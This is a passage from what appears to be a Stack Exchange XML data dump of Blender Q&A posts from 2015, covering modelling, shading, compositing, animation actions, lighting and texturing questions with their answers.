obscuring some of the stones.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;13. Set Origin to Geometry&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Having the origin point of these stones off in an arbitrary location is no good, especially if they will be used in a particle system. Let's set it so each stone's origin point is at its center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Tools Tab use the Set Origin drop-down selector to choose &quot;Origin to Geometry&quot;, or press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mBglv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBglv.png&quot; alt=&quot;Origin to Geometry&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;14. Group your stones&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Grouping your stones is not only a good way to stay organized and be able to select them easily in the Outliner or Append them to other .blends - it's also &lt;em&gt;necessary&lt;/em&gt; if you're going to use them in their own Particle System.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all of your stone objects selected in Object Mode, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to group them. In the Operator Panel name the group something creative like &quot;Stones&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QNPMT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QNPMT.png&quot; alt=&quot;Creating a group and naming it &amp;quot;Stones&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here you can either use these stones (rocks, gravel, whatever) as particles or as rigid bodies, or with the Molecular Add-On. Self-collision is possible with the latter two methods. If you want to apply the SubSurf Modifier to all the stones you can press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and Convert to Mesh.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2016-05-25T00:44:52.457" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36034" PostTypeId="2" ParentId="36025" CreationDate="2015-08-19T17:55:10.200" Score="1" Body="&lt;p&gt;Give your model Smooth Shading, go to (Tool Shelf) and under Shading section choose &lt;strong&gt;Smooth&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-19T17:55:10.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36036" PostTypeId="1" AcceptedAnswerId="36039" CreationDate="2015-08-19T18:15:37.797" Score="0" ViewCount="2406" Body="&lt;p&gt;I have these renderlayers:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NXcrB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NXcrB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Z9rVC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z9rVC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In compositor I subtracted the second renderlayer from the first one (or used the difference node, since in this case they result to the same image)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5Mtuh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Mtuh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where the cube is, is now black (of course, since this is where the cube is, in both renderlayers). Is it possible to make transparent only where it's black on the image, so not object related, but just regarding the color of the pixel?&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-08-19T18:41:32.373" LastActivityDate="2015-08-19T18:52:43.080" Title="How can i make a color transparent in node editor" Tags="&lt;compositor&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36037" PostTypeId="1" AcceptedAnswerId="36042" CreationDate="2015-08-19T18:16:09.170" Score="1" ViewCount="650" Body="&lt;p&gt;I've been trying to create some animations for a creature. I've created a walk animation for a creature already and right after I created an attack animation. However, the walk animation is gone somehow. I can't even find it when I search for it in action browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please tell me where it might have gone?&lt;/p&gt;&#xA;" OwnerUserId="16148" LastActivityDate="2015-08-19T19:35:28.367" Title="Walk animation missing" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36039" PostTypeId="2" ParentId="36036" CreationDate="2015-08-19T18:31:39.677" Score="1" Body="&lt;p&gt;You can use the object index mask and the alpha over node to make the object transparent in the node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set object index:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/i9EhO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i9EhO.jpg&quot; alt=&quot;Object index&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the object index render pass:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/D7rQP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7rQP.jpg&quot; alt=&quot;Object index render pass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fQtW9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQtW9.jpg&quot; alt=&quot;Node setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-19T18:52:43.080" LastActivityDate="2015-08-19T18:52:43.080" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36040" PostTypeId="2" ParentId="36030" CreationDate="2015-08-19T19:03:03.880" Score="0" Body="&lt;p&gt;Your rig object has a non-uniform scale, giving the character a squished appearance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, clear the keyframes on the scale (as the scale doesn't actually change, this won't affect the appearance of the animation), then copy the X or Y value to the Z value:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Om7C0.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Om7C0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shouldn't have been caused or otherwise had anything to do with the smoke simulation. Perhaps you may have accidentally changed the scale while &lt;a href=&quot;http://blender.org/manual/animation/basics/actions.html#auto-keyframe&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Auto keyframe&lt;/em&gt;&lt;/a&gt; was enabled (as it is in your screenshot)?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-19T19:03:03.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36041" PostTypeId="1" CreationDate="2015-08-19T19:15:23.637" Score="2" ViewCount="66" Body="&lt;p&gt;I have been searching heavily on trying to move the duplicated keyframes from say 25 objects and paste it to another set of 25(and doing so to copy to over 100 objects) I have been able to copy a single objects keyframes to multiple objects and duplicated multiple object keyframes but without being able to cut them and paste somewhere else. Is this even possible? Thanks&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MHauY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MHauY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16549" LastActivityDate="2020-12-16T20:00:20.043" Title="Move duplicated key frames" Tags="&lt;animation&gt;&lt;objects&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36042" PostTypeId="2" ParentId="36037" CreationDate="2015-08-19T19:35:28.367" Score="0" Body="&lt;p&gt;If this has not changed in the latest versions an action will be deleted when it is not used (referenced) in the NLA-editor. You can keep currently unused action by adding a fake user (reference) with the 'F' button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CWdEU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWdEU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-08-19T19:35:28.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36043" PostTypeId="1" CreationDate="2015-08-19T20:14:27.033" Score="5" ViewCount="2625" Body="&lt;p&gt;Each time I add a new light into my blender scene it doesn't show up or have any effect on the environment.  I tried increasing the strength and messing with the translate, rotate, and scale of the light as well as trying different kinds of lights.  But no matter what I do it doesn't show up or have any effect on the render.&lt;/p&gt;&#xA;" OwnerUserId="16550" LastEditorUserId="599" LastEditDate="2015-08-20T01:18:50.823" LastActivityDate="2015-12-18T14:21:26.360" Title="Why aren't lights affecting my scene?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36044" PostTypeId="2" ParentId="35997" CreationDate="2015-08-19T20:33:16.323" Score="3" Body="&lt;p&gt;Youd don't even have to leave or merge any verices, you can just create a plane and then delete it completely in edit mode by pressing &lt;kbd&gt;Delete&lt;/kbd&gt; key or &lt;kbd&gt;X&lt;/kbd&gt; key, and now you can create vertices including the first vertice by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; LMB.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="15366" LastEditDate="2015-08-30T06:19:26.843" LastActivityDate="2015-08-30T06:19:26.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36045" PostTypeId="2" ParentId="35942" CreationDate="2015-08-19T22:10:03.460" Score="1" Body="&lt;p&gt;This is because you're in solid view. change to GLSL (&lt;kbd&gt;N&lt;/kbd&gt;, &lt;em&gt;Sahding&lt;/em&gt;, &lt;em&gt;GLSL&lt;/em&gt;) And then click the texture button at the bottom of the screen (&lt;kbd&gt;Z&lt;/kbd&gt;) and change to textures (the sphere with checkers.)&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-19T22:10:03.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36046" PostTypeId="1" AcceptedAnswerId="36181" CreationDate="2015-08-19T22:15:59.520" Score="0" ViewCount="557" Body="&lt;p&gt;Why should I use deformation bones instead of just parenting w/ automatic weights straight to the armature? The octahedrals act as bones while adding keyframes... However would deformation bones possibly lessen the possibility of import export errors especially to UE4?&lt;/p&gt;&#xA;" OwnerDisplayName="user15462" LastEditorDisplayName="user15462" LastEditDate="2015-08-21T23:10:17.557" LastActivityDate="2015-08-22T03:47:46.557" Title="Rigify Generate -- Deformation Bones vs. Armature?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36047" PostTypeId="1" AcceptedAnswerId="36048" CreationDate="2015-08-19T22:20:59.807" Score="4" ViewCount="1447" Body="&lt;p&gt;I have been using Blender for quite a long time and I just want to make sure that there isn't a better way of selecting edges, that I might not be aware of. It is so cumbersome to have to click every single edge when I don't want to select an entire edge loop but a portion of one instead. I was wondering if there is some way in to specify a start edge and an end edge and then be able to auto select every edge in between?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastActivityDate="2015-08-19T22:40:14.910" Title="Is there a way to choose a beginning and ending edge and auto select all the edges in between?" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36048" PostTypeId="2" ParentId="36047" CreationDate="2015-08-19T22:29:09.920" Score="5" Body="&lt;p&gt;While this is not what this feature is intended for, on straight or simple meshes you can use &lt;em&gt;Shortest Path&lt;/em&gt; from the &lt;em&gt;Select&lt;/em&gt; menu with the two points selected or by selecting the starting point then selecting the end point while holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;. You can also incrementally add to your selection by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-08-19T22:40:14.910" LastActivityDate="2015-08-19T22:40:14.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36049" PostTypeId="1" CreationDate="2015-08-19T23:23:46.407" Score="3" ViewCount="4286" Body="&lt;p&gt;What I want to do while modeling is start at the Top Ortho view (&lt;kbd&gt;NumPad 7&lt;/kbd&gt;) with green Y-axis pointed up and down on the screen. I then want to rotate the view left or right around my model, moving only the X &amp;amp; Z axis' while keeping the Y-axis vertical.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; zooms the view in and out if the wheel is held down and the mouse moved. If the wheel is scrolled the view rotates around the Z-axis.&#xA;Going to view 3 and &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt; allows rotating around a Horizontal Y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to rotate around a &lt;em&gt;vertical&lt;/em&gt; Y-axis?&lt;/p&gt;&#xA;" OwnerUserId="16552" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2020-10-12T15:43:44.107" Title="Rotate view around vertical Y-axis" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36050" PostTypeId="1" CreationDate="2015-08-19T23:28:03.670" Score="0" ViewCount="122" Body="&lt;p&gt;I just bought a 3D stock file of a Patron bottle from Squid (&lt;a href=&quot;http://www.turbosquid.com/FullPreview/Index.cfm/ID/779325&quot; rel=&quot;nofollow&quot;&gt;http://www.turbosquid.com/FullPreview/Index.cfm/ID/779325&lt;/a&gt;) and I tried importing the 3DS format in. The bottle OBJECTS import fine and I can see the label, the liquid, the ribbon etc. is there... but unfortunately it's not reading any thing other than the objects. It has ALL the objects there -- but NOT the cork stopper material, the glass material, the color, the label graphic etc. I do have the 3DS add on turned on in user preferences.  Please help if you can. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="16246" LastActivityDate="2015-08-19T23:28:03.670" Title="Importing 3DS Patron liquor bottle has no color, texture, glass material or label showing" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36051" PostTypeId="1" AcceptedAnswerId="36055" CreationDate="2015-08-19T23:41:07.013" Score="3" ViewCount="593" Body="&lt;p&gt;I'm making this pocket watch and am wondering how to make this design where there are a lot of round extrusions. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uTXro.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uTXro.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16367" LastEditorUserId="12" LastEditDate="2015-08-20T02:56:24.027" LastActivityDate="2015-08-20T02:56:24.027" Title="Modeling a circular shape with round extrusions along the edge" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36052" PostTypeId="1" CreationDate="2015-08-19T23:42:35.500" Score="2" ViewCount="46" Body="&lt;p&gt;I am new to Blender. I have a simple picture (png) which I would like to apply a texture to.&#xA;But the texture should be applied in a slow rate, and only to parts of the picture along a line or curve.&#xA;Then I want to capture that animation somehow as a video or something?&#xA;Sorry if this sounds like a silly question.&#xA;For example if I have a picture of the number 1 in green. I want to apply a red texture to that 1 from top to bottom along a line, slowly so that it's color changes from green to red. I want to capture this animation somehow. Hope it is clear now.&lt;/p&gt;&#xA;" OwnerUserId="16553" LastActivityDate="2015-08-20T00:23:04.720" Title="Animating a picture" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;image&gt;&lt;video&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36053" PostTypeId="2" ParentId="36052" CreationDate="2015-08-20T00:23:04.720" Score="1" Body="&lt;p&gt;You could use a video as a texture, or if you use cycles you can use a mix node and keyframe the fac value (picture needed).&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2015-08-20T00:23:04.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36054" PostTypeId="1" CreationDate="2015-08-20T00:39:05.817" Score="0" ViewCount="56" Body="&lt;p&gt;I imported an image as a plane in order to place vertices marking all the key contours on it. After a while I realized I didn't know how to make those vertices part of the plane they were on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't move the vertices on the z axis, and have the image move with them, I can't use the image as a reference the way I'd planned and the whole thing becomes much more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to embed those vertices in the plane that has the image? They are already sitting on it. Or maybe a way to import the image again and integrate the vertices with it then?&lt;/p&gt;&#xA;" OwnerUserId="7548" LastEditorUserId="7548" LastEditDate="2015-08-20T14:19:10.433" LastActivityDate="2015-08-20T14:19:10.433" Title="How can I make a set of vertices part of an existing plane with an imported image?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36055" PostTypeId="2" ParentId="36051" CreationDate="2015-08-20T01:08:58.663" Score="2" Body="&lt;p&gt;In top view add a curve. Enter Edit mode and shape it to something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Hmnt6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hmnt6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still in Edit mode Select All (&lt;kbd&gt;A&lt;/kbd&gt;) and Rotate it 90 degrees in X (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;o&lt;/kbd&gt;)and 90 degrees in Z (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;9&lt;/kbd&gt;&lt;kbd&gt;o&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kL6jY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kL6jY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exit edit mode and add a Curve-&gt;Circle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/P8xzt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P8xzt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your original curve, make it 3D, check on Fill-&gt;Full and give it some extrusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8TWkX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8TWkX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an Array modifier. Select fit curve and select the circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X3uPn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X3uPn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Curve modifier and select the circle again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nwr78.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nwr78.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the curve, extrusion, radius and offset to meet your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sCdG5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sCdG5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-08-20T02:08:46.043" LastActivityDate="2015-08-20T02:08:46.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36056" PostTypeId="2" ParentId="36051" CreationDate="2015-08-20T01:57:04.103" Score="1" Body="&lt;p&gt;Add a mesh circle and make it so it has a lot of segments (make it an even number though) In this example I chose 120&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O611C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O611C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By extruding and adding loop cuts create a shape like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S8xba.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S8xba.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select an edge like this and then do Select-&gt;Similar-&gt;Lenght&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wqxFm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wqxFm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now do Select-&gt;Checker Deselect. So you end up with every other edge selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G73bs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G73bs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fQlIN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQlIN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;move those edges up on the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VV5eb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VV5eb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smooth and subsurf:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gdqgh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gdqgh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-08-20T01:57:04.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36057" PostTypeId="1" CreationDate="2015-08-20T02:03:26.393" Score="3" ViewCount="220" Body="&lt;p&gt;I have this surface (blue) which I would like &quot;offset&quot; inwards (yellow) while maintaining the same cross-sectional area (red). Loft is probably the correct method, since the cross-sections can be defined. Is it possible to create a script for this in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1LjVu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1LjVu.jpg&quot; alt=&quot;offset by surface area&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16554" LastActivityDate="2015-08-20T02:03:26.393" Title="How to offset or loft surface maintaining cross-sectional area?" Tags="&lt;modeling&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36058" PostTypeId="2" ParentId="36054" CreationDate="2015-08-20T02:03:40.750" Score="1" Body="&lt;p&gt;the only thing that comes to mind is subdividing the plane in edit mode. then moving your new vertices where you want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this may become a little more complicated if your image skews while doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know if you need clarification. i can post some screen shots.&lt;/p&gt;&#xA;" OwnerUserId="15843" LastActivityDate="2015-08-20T02:03:40.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36059" PostTypeId="1" CreationDate="2015-08-20T02:11:14.720" Score="5" ViewCount="2075" Body="&lt;p&gt;I have a wooden crate with textures and all. Its hard to explain. I want to turn this (figure1) into this (figure2) the only way i can think to explain it would be projection baking. Where i project my 3d view into a new image to get my desired image. Im trying to lower my poly count so i need to take the second images 3d view and actually turn it into an image so that i can use a single poly on it instead of multiple. Its hard to explain.  So like if you just finished making a hight poly model with textures and its unwrapped and everything. Then you make a low poly. If you switch to the high poly front view and were to take a picture then that is what i would want the image to be for the low poly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fig 1 &lt;img src=&quot;https://i.stack.imgur.com/JoHv0.jpg&quot; alt=&quot;&quot;&gt;&#xA;Fig 2 &lt;img src=&quot;https://i.stack.imgur.com/bSaqG.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2325" LastEditorDisplayName="user1853" LastEditDate="2015-08-21T03:36:20.560" LastActivityDate="2021-04-11T23:02:55.370" Title="Bake texture from view" Tags="&lt;texture-baking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36060" PostTypeId="1" AcceptedAnswerId="52567" CreationDate="2015-08-20T02:18:24.427" Score="5" ViewCount="1966" Body="&lt;p&gt;I'm trying to find a way to apply skin texture detail to my model. I'd like to use normal mapping to represent the surface details, and thought I might use a ready made normal map of a skin surface like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ft6e5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ft6e5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in order to get good coverage for my model &lt;em&gt;I think&lt;/em&gt; I need seams. But, if I were to simply tile on my skin map I'm pretty sure the seams would become really obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kXBvr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kXBvr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm left with a chicken and egg problem - in order to match up the normal map to the seams I'd need to bake one from a seam-aligned map. But if I had that, then I wouldn't need to bake one!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I should abandon the seams, what should I do instead?&lt;/li&gt;&#xA;&lt;li&gt;Or is there a way to make it work this way?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="409" LastEditorUserId="409" LastEditDate="2016-05-15T08:53:09.963" LastActivityDate="2016-05-15T08:53:09.963" Title="Going down the wrong path for human skin?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
